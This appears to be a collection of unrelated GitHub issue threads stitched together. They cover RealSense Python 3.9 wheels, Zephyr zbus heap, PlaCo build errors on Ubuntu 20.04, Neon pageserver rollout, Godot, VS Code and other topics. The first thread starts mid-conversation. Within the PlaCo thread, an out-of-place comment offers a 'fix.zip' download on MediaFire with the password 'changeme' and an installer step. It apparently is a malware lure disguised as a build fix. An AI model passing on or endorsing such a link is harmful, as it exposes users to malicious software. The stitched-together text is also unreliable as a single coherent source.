pyrealsense2-net.xxx..pyd
pybackend2.xxx..pyd
You probably need the pyrealsense2.xxx..pyd file.
Good luck

Hi @ricardo-reis-1970  Do you require further assistance with this case, please?   Thanks!

Dear @MartyG-RealSense,
I am at odds with all this. The SW Engineers at Intel seem to have the product tested and ready for Python 3.9.[0|1], but somehow they find it too difficult to just make it available publicly. It also feels from where I'm standing that everybody involved thought it would be wiser to spend hours guiding me through uncharted territory and foreign languages than spending 5 minutes compiling a wheel and making it available. I need the fish right now, so that I can live enough to actually consider the fishing lessons.
Let me be crystal clear: I cannot edit the wheel or get to a point where I have something I could add as a source to my project. I am not a C++ dev, and much less a C++ engineer. I am a consumer of your product, or desperately trying to be.
Right now, this is making a big dent on my project. I need to run the RealSense component as a separate server, doubling the effort on embedded systems that are not known for their Xeon-grade CPUs. At some point you suggested that I moved into a Raspberry-Pi and downloaded some image. That is also not an option.
I'm also checking Linux deployments of my software, so whatever the solution I seek, it would be best if it supported both.
My options are:

someone from Intel pushes the latest change to deployment and I upgrade on my end — IDEAL SOLUTION, serves my purposes and everybody else's
someone from Intel makes a wheel, or a folder available to me supporting 21st century Python;
nothing happens and I keep stuck with the poor current state of affairs, rethinking the whole camera option.

I have a big deployment coming up in about 2 weeks, Investors will be attending. Failing 1 and 2, please consider this a closed topic.

Hey @ricardo-reis-1970 ,
I will try my best to help you so you will not be stuck by delivering option 2 , (option 1 is in progress too but it will take some time since it is more complicated since it is involves DevOps and changing the release procedure ..)
Please assist with the following details that will fulfill your needs.
LRS Version:
Python version:
OS:
Delivery email address:
Thanks

Dear Nir,
You have gmail.
Many thanks
Ricardo

Hi @ricardo-reis-1970   Assuredly, I do very much understand the development pressures and external pressures of your project.
@Nir-Az  Thanks so much for your assistance to @ricardo-reis-1970 - as you are clearly an expert in the subjects covered in this case, you are very well placed to provide advice that can assist, so I appreciate your time and effort!

@MartyG-RealSense No problem,
@ricardo-reis-1970 I sent you the required PYD to the mail address you gave me.
SDK Version: 2.41
Python version: 3.9.1
OS: Windows 64
Please update if it suits your needs.

Hi @ricardo-reis-1970  Do you require further assistance with this case, please?   Thanks!

Hi @MartyG-RealSense,
I got a pyd file that I just drop next to my project. Neither ideal nor clean, but Intel just released 2.42 for Valentine's Day and still no Python 3.9. Most unfortunately, and despite abundant proof that it works — I am the proof right now — your company still neglects its users, or pushes them to using old software. There is nothing you can do there.
Considering the relevance of Python on Computer Vision, there's the ongoing feeling / rumor that Intel is about to simply drop the whole RealSense product line. There is nothing you can do there either.
You were exceedingly helpful, and so were the engineers involved, particularly @Nir-Az. Thank you both. I'll be closing this issue and focusing on learning how to build the lib from scratch.
Best regards
Ricardo

Thanks very much for the update Ricardo.  As one of the first librealsense users of Python 3.9 to make a report on this forum, your difficult experience undoubtedly provided useful information and feedback.

Hi Ricardo, I wanted to update you on progress.  SDK version 2.43.0 has just been released and has the following comment in its release notes:
[Python] Generate wheels for Python 3.8 + 3.9
Package classifiers updated to support python 3.8 + 3.9

Thanks @MartyG-RealSense!
I just found it here. However, please be advised that the latest release (linked from here) seems to be 2.42. 2.43 is marked as pre-release.
So, I deleted the pyd file that I had been given by @Nir-Az (!תודה רבה לך), I added this line to my pyproject.toml:
pyrealsense2 = "^2"

and a funny thing happened: it works!!
Just for good measure, I cleaned the poetry cache, destroyed the virtual environment and ran a poetry update. It still works.
For future reference: I hope Intel can find the availability and manpower to keep these new releases up to date with latest language versions for the supported languages. Following emerging trends in Functional Programming, adding support for Rust and Haskell would open the RealSense world to a wide and growing number of engineers interested in extremely reliable software that currently look elsewhere for live video sources.
Many many thanks!
Ricardo

Thanks very much Ricardo for your detailed feedback!
There is already an actively maintained RealSense Rust binding available outside of the RealSense SDK.
https://gitlab.com/tangram-vision-oss/realsense-rust


Zbus heap increase

Is your feature request related to a problem? Please describe.
When running a code with a few message subscribers and listeners, an error started to appear described as follows:
ASSERTION FAIL [buf != ((void *)0)] @ WEST_TOPDIR/deps/zephyr/subsys/zbus/zbus.c:133
    net_buf zbus_msg_subscribers_pool is unavailable or heap is full
@ WEST_TOPDIR/deps/zephyr/lib/os/assert.c:43
[00:00:00.000,000] <err> os: >>> ZEPHYR FATAL ERROR 4: Kernel panic on CPU 0
[00:00:00.000,000] <err> os: Current thread: 0x80bad00 (test_thread)
[00:00:00.000,000] <err> os: Halting system

This is run with no CONFIG_HEAP_MEM_POOL_SIZE option defined to use the auto heap calculation introduced recently in Zephyr.
Describe the solution you'd like
Adding a Kconfig allowing Zbus users to add heap to their projects as is needed. This is done by setting adding the following lines to the zephyr/subsys/zbus/Kconfig file:
config HEAP_MEM_POOL_ADD_SIZE_ZBUS
    int "The size of heap to add to the memory pool on behalf of ZBUS."
    default 0
    depends on ZBUS_MSG_SUBSCRIBER_BUF_ALLOC_DYNAMIC

@chirambaht, thanks for pointing out this improvement on zbus. I have added a PR for adding that. I added a default value of 1024 for the heap size for zbus.
I hope, soon, you will see that available in the main.

Solve by #77631


On ESP8266 abs only works with integer values.

Ensure that we have an internal version of abs that always works with float. Seems like something that has happened recently as this used to work on ESP8266.

Fixed and unit tested


Allignment of Navbar

🎮 feature Request
Hello Project Admin
I would like to Allign Navbar
Can you assign me this issue under GSSOC'24  @ayush-t02
Point down the features

Select program in which you are contributing
No response
Code of Conduct

[X] I follow CONTRIBUTING GUIDELINE of this project.

align the navbar and remove the Lets Go button

Yeah okk @ayush-t02


Footer

https://app.draftium.com/editor/structure/5c34905519a0b30023db22dc/5c34905619a0b30023db22e1

https://app.draftium.com/editor/structure/5c2e294e3dbc4a0023e1d806/5c2e294e3dbc4a0023e1d80b


Shouldn't be allowed to embed if field doesn't allow json

Currently if your field doesn't allow json, the embed button still shows, allows you to use it, and the json file still gets uploaded (though it disappears immediately after adding it).
Ideally, both:

upload rules for that volume would be followed, so json would be blocked from uploading
the embed button would be hidden all-together

will be released in the next update


Rename failed to apply edits

Happen when I rename symbol in a typescript file.

Version: 1.74.0-insider (Universal)
Commit: e8eb39bac26ddc87f27ed69fa06c54cd230d18f9
Date: 2022-11-03T19:00:34.330Z
Electron: 19.1.3
Chromium: 102.0.5005.167
Node.js: 16.14.2
V8: <IP_ADDRESS>-electron.0
OS: Darwin x64 22.1.0
Sandboxed: Yes

@johnsoncodehk seems only symbol in vue file failed to rename

This issue is caused by an extension, please file it with the repository (or contact) the extension has linked in its overview in VS Code or the marketplace for VS Code. See also our issue reporting guidelines. If you don't know which extension is causing the problem, you can run Help: Start extension bisect from the command palette (F1) to help identify the problem extension.
Happy Coding!

Marking as caused-by extension since it sounds like this only happens in vue file


Try Out SAP Cloud Platform SDK for Android Wizard

Tutorial URL: https://developers.sap.com/tutorials/cp-sdk-android-wizard-app.html
None of the images included in the tutorial are visible - they all return a 404 when accessed.

I see all the images. Clear your cache perhaps?

I see all the images. Clear your cache perhaps?

They're working for me now - thanks (I didn't even need to clear my cache :)


Optimize memory usage by adjusting the config size of exchange layer

Problem

Right now if we have a limited number or possible exchange contexts but a large packetbuffer pool, we can end up with a large CRMP retransmit table.

MCSP cache pool size is defined as CHIP_CONFIG_MAX_EXCHANGE_CONTEXTS, but we need to reserve two additional exchanges, one for MCSP protocol itself and another one for a temporary exchange to ack If we didn't find an existing exchange that matches the received message, and no unsolicited message handler registered to hand this message.

Summary of Changes

Take both pool size and CHIP_CONFIG_MAX_EXCHANGE_CONTEXTS into account when defining the retransmit table size.
Reserve two extra exchanges, one for MCSP messages and another one for temporary exchange for ack.

Fixes #5924

@Damian-Nordic ?


Compilation errors occur when building from source on Ubuntu 20.04

I am not certain whether PlaCo 0.6.2 is fully compatible with Ubuntu 20.04. Since my OS version is Ubuntu 20.04, I attempted to install PlaCo on it but encountered several errors during the installation process, which are detailed below.
Error when Installing Pinocchio Dependencies
When running the installation command,
sudo apt-get install \
        robotpkg-py310-eigenpy=3.1.1 \
        robotpkg-hpp-fcl=2.3.6 \
        robotpkg-pinocchio=2.6.20 \
        robotpkg-py310-eigenpy=3.1.1  \
        robotpkg-py310-hpp-fcl=2.3.6 \
        robotpkg-py310-pinocchio=2.6.20 \
        robotpkg-eiquadprog

the following error occurred:
E: Unable to locate package robotpkg-py310-eigenpy
E: Unable to locate package robotpkg-py310-eigenpy
E: Unable to locate package robotpkg-py310-hpp-fcl
E: Unable to locate package robotpkg-py310-pinocchio

Cause: Default python version is 3.8 for ubuntu 20.04, so could not locate package robotpkg-py310-*
Error when Building PlaCo
When attempting to build PlaCo
cd placo
mkdir build
cd build
cmake .. -DCMAKE_BUILD_TYPE=Release
make -j 8

the following error occurred:
/ros1_ws/src/placo/src/placo/tools/axises_mask.cpp: In member function ‘Eigen::MatrixXd placo::tools::AxisesMask::apply(Eigen::MatrixXd)’:
/ros1_ws/src/placo/src/placo/tools/axises_mask.cpp:79:35: error: ‘all’ is not a member of ‘Eigen’
   79 |   return M_masked(indices, Eigen::all);
      |                                   ^~~
make[2]: *** [CMakeFiles/libplaco.dir/build.make:272: CMakeFiles/libplaco.dir/src/placo/tools/axises_mask.cpp.o] Error 1
make[2]: *** Waiting for unfinished jobs....

and
Generating stubs...
Traceback (most recent call last):
  File "/ros1_ws/src/placo/stubs.py", line 22, in <module>
    from doxygen_parse import parse_directory, get_members, get_metadata
  File "/ros1_ws/src/placo/doxygen_parse.py", line 151, in <module>
    def resolve_doxygen_id(id: list|str):
TypeError: unsupported operand type(s) for |: 'type' and 'type'
make[2]: *** [CMakeFiles/placo.dir/build.make:279: lib/python3/dist-packages/placo.so] Error 1
make[2]: *** Deleting file 'lib/python3/dist-packages/placo.so'
make[1]: *** [CMakeFiles/Makefile2:113: CMakeFiles/placo.dir/all] Error 2
make: *** [Makefile:136: all] Error 2

Cause:

Error 1: The default eigen version available on Ubuntu 20.04 via sudo apt-get install libeigen3-dev is 3.3.7. However Eigen::all seems not a member of eigen 3.3.7 and available in eigen 3.4.0.
Error 2: The syntax def resolve_doxygen_id(id: list|str): is not supported in Python 3.8 but is compatible with Python 3.10.

Solution
Below is a complete solution for installing PlaCo on Ubuntu 20.04 from source.
System dependencies
sudo apt-get install python3-dev libpython3-dev libboost-python-dev \
         doxygen libjsoncpp-dev

Pinocchio dependencies
First, follow this procedure to add the apt repositories for Pinocchio.
Then
sudo apt-get install \
        robotpkg-py38-eigenpy=3.1.1 \
        robotpkg-hpp-fcl=2.3.6 \
        robotpkg-pinocchio=2.6.20 \
        robotpkg-py38-eigenpy=3.1.1  \
        robotpkg-py38-hpp-fcl=2.3.6 \
        robotpkg-py38-pinocchio=2.6.20 \
        robotpkg-eiquadprog

Add below code to .bashrc
export PATH=/opt/openrobots/bin:$PATH
export PKG_CONFIG_PATH=/opt/openrobots/lib/pkgconfig:$PKG_CONFIG_PATH
export LD_LIBRARY_PATH=/opt/openrobots/lib:$LD_LIBRARY_PATH
export PYTHONPATH=/opt/openrobots/lib/python3.8/site-packages:$PYTHONPATH
export CMAKE_PREFIX_PATH=/opt/openrobots:$CMAKE_PREFIX_PATH

Then source .bashrc
source ~/.bashrc

Change eigen version
wget https://gitlab.com/libeigen/eigen/-/archive/3.4.0/eigen-3.4.0.tar.gz
tar -xvzf eigen-3.4.0.tar.gz
cd eigen-3.4.0
mkdir build
cd build
cmake .. -DCMAKE_INSTALL_PREFIX=/usr
make -j16
sudo make install
pkg-config --modversion eigen3

To resolve the eigen version issue, you may need to upgrade to eigen 3.4.0. However, this could introduce compatibility issues with other projects. Alternatively, modifying the PlaCo code to be compatible with eigen 3.3.7 could be a viable solution.
Modifying code for python 3.8
Change line from
https://github.com/Rhoban/placo/blob/4d8119a623ad73e4f3536b11cd72f706054810f5/doxygen_parse.py#L151
to
from typing import Union
def resolve_doxygen_id(id: Union[list,str]):

Cloning and building
git clone https://www.github.com/rhoban/placo.git
cd placo
mkdir build
cd build
cmake .. -DCMAKE_BUILD_TYPE=Release
make -j16

It would be beneficial to add more detailed information about compatible operating systems and specific installation instructions for different OS versions to the PlaCo documentation.

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hello, thanks for your feedback

I added a comment in the doc about the possible need to adapt python version and installing Eigen>=3.4 for older Ubuntu
I updated doxygen_parse.py so that it uses typing's Union, since it looks like compatible with 3.10 as well

Does it sounds good for you ?

Sounds good. Thanks.


Simplify pageserver initialization & configuration

Overall plan: https://www.notion.so/neondatabase/Rollout-Plan-simplified-pageserver-initialization-f935ae02b225444e8a41130b7d34e4ea?pvs=4
### Tasks
- [ ] https://github.com/neondatabase/aws/pull/1322
- [ ] https://github.com/neondatabase/neon/pull/7766
- [ ] https://github.com/neondatabase/cloud/pull/13417
- [x] notify #neon-oss users on Discord; https://discord.com/channels/1176467419317940276/1184894814769127464/1266346201234804827
- [ ] https://github.com/neondatabase/aws/pull/1635
- [ ] https://github.com/neondatabase/cloud/pull/15863
- [ ] https://github.com/neondatabase/cloud/pull/15874
- [ ] https://github.com/neondatabase/neon/pull/8489

Last week (ending 2024-05-17):

pageserver pr: https://github.com/neondatabase/neon/pull/7766
cplane pr to remove usage of config override: https://github.com/neondatabase/cloud/pull/13417
ansible pr: https://github.com/neondatabase/aws/pull/1322

Pageserver and ansible changes are good to go, but cplane usage of --config-override is blocking them.
The cplane changes have to merge first. Once that's done apply the plan from here:
https://www.notion.so/neondatabase/Rollout-Plan-simplified-pageserver-initialization-f935ae02b225444e8a41130b7d34e4ea
Once Christian and/or Vlad are back from holiday:

Get cplane pr merged (doesn't 100% work in current state)
Apply rollout plan https://www.notion.so/neondatabase/Rollout-Plan-simplified-pageserver-initialization-f935ae02b225444e8a41130b7d34e4ea

2024-06-12:

Discussed the removal --config-override from cplane repo with Alexey. The control plane will pick it up.
We can resume work on our side once that's happened.

2024-07-01:

Waiting for control plane to remove uses of --config-override flag - should be done early this week
Rebase everything and merge

2024-07-08:

https://github.com/neondatabase/cloud/pull/13417 merged. Can now proceed with rebasing everything and merging the aws and neon prs

This epic is complete as of this week's storage deploy. https://neondb.slack.com/archives/C03H1K0PGKH/p1722347077872989?thread_ts=1722244979.635389&cid=C03H1K0PGKH


Node2D visible change miss

Godot version
4.1
System information
macOs12.1
Issue description
https://github.com/godotengine/godot/assets/45162461/b18743e4-97b9-423e-947b-868da0e432cc
Steps to reproduce
frist be set   Node2D visible to hide,  command + s save scene， click reload scene
Minimal reproduction project
pulseHero-main.zip

Could you please describe the bug in more detail? To me, it looks like unsaved changes were discarded when the scene was reloaded, so the node became visible, but this is correct. Note that not all contributors speak Chinese (sorry if I didn't guess the language) and therefore it may be difficult to understand the action in the video.

You have an AnimationPlayer with a RESET animation that makes the node visible upon save.

thank you,  i in AnimationPlayer  find Reset On Save  be set false .. Thank you very much for your help


[FEATURE][ADDONS][Cluster-Autoscaler] - Cluster Autoscaler should migrate to use IRSA and not instance profile

Currently cluster-autoscaler rely on instance-profile to interact with AWS resources (autoscaling & ec2).
Per Amazon EKS docs, the preferred method is to use IRSA (IAM Roles for ServiceAccount)

PR is merged. Closing the issue.


PSMDB-1098 Release notes PSMDB 4.4.15-15

modified:   source/conf.py
modified:   source/release_notes/index.rst
new file: source/release_notes/4.4.15-15.rst

Change this:
SERVER-65131 <https://jira.mongodb.org/browse/SERVER-65131>_ - Fixed uneven distribution of workload over the secondary nodes by disabling opportunistic read targeting - the ability of mongos to establish connections to multiple secondaries and direct the request to the first secondary that accepts the connection.
To this:
SERVER-65131 <https://jira.mongodb.org/browse/SERVER-65131>_ - This is a v6.0 backport fix to v4.4 that disabled opportunistic read targeting  (except for specified hedged reads) in order to prevent possible performance problems associated with uneven read distribution across the secondaries.
BACKGROUND: In earlier 4.4 versions the mongos was not evenly distributing secondary reads across all secondaries which caused an overload and bottleneck on the secondary which was consistently resolving 1st. https://jira.mongodb.org/browse/SERVER-57230
This caused an increase in the number of slow queries when moving from v4.2 to v4.4 - https://jira.mongodb.org/browse/SERVER-57232

Change this:
SERVER-54900 <https://jira.mongodb.org/browse/SERVER-54900>_ - Fixed an issue with the delay in selecting a new sync-source by canceling the ASIO session when SSL handshake times out
To this:
SERVER-54900 <https://jira.mongodb.org/browse/SERVER-54900>_ - Fixed an issue where competing/blocking network calls to the sync source can prevent selecting a new sync-source. This is resolved by canceling the ASIO session when SSL handshake times out.

Amended


Integrate with Travis CI/CD for automated builds

Enable CI/CD for automated builds and tests for each commit

Integrated Travis CI in #ff5fee4750065b007e527fb9fc33d4223a86595c


⚠ Bofrost.at has degraded performance

In b10b7f7, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1773 ms

Resolved: Bofrost.at performance has improved in d5f15df.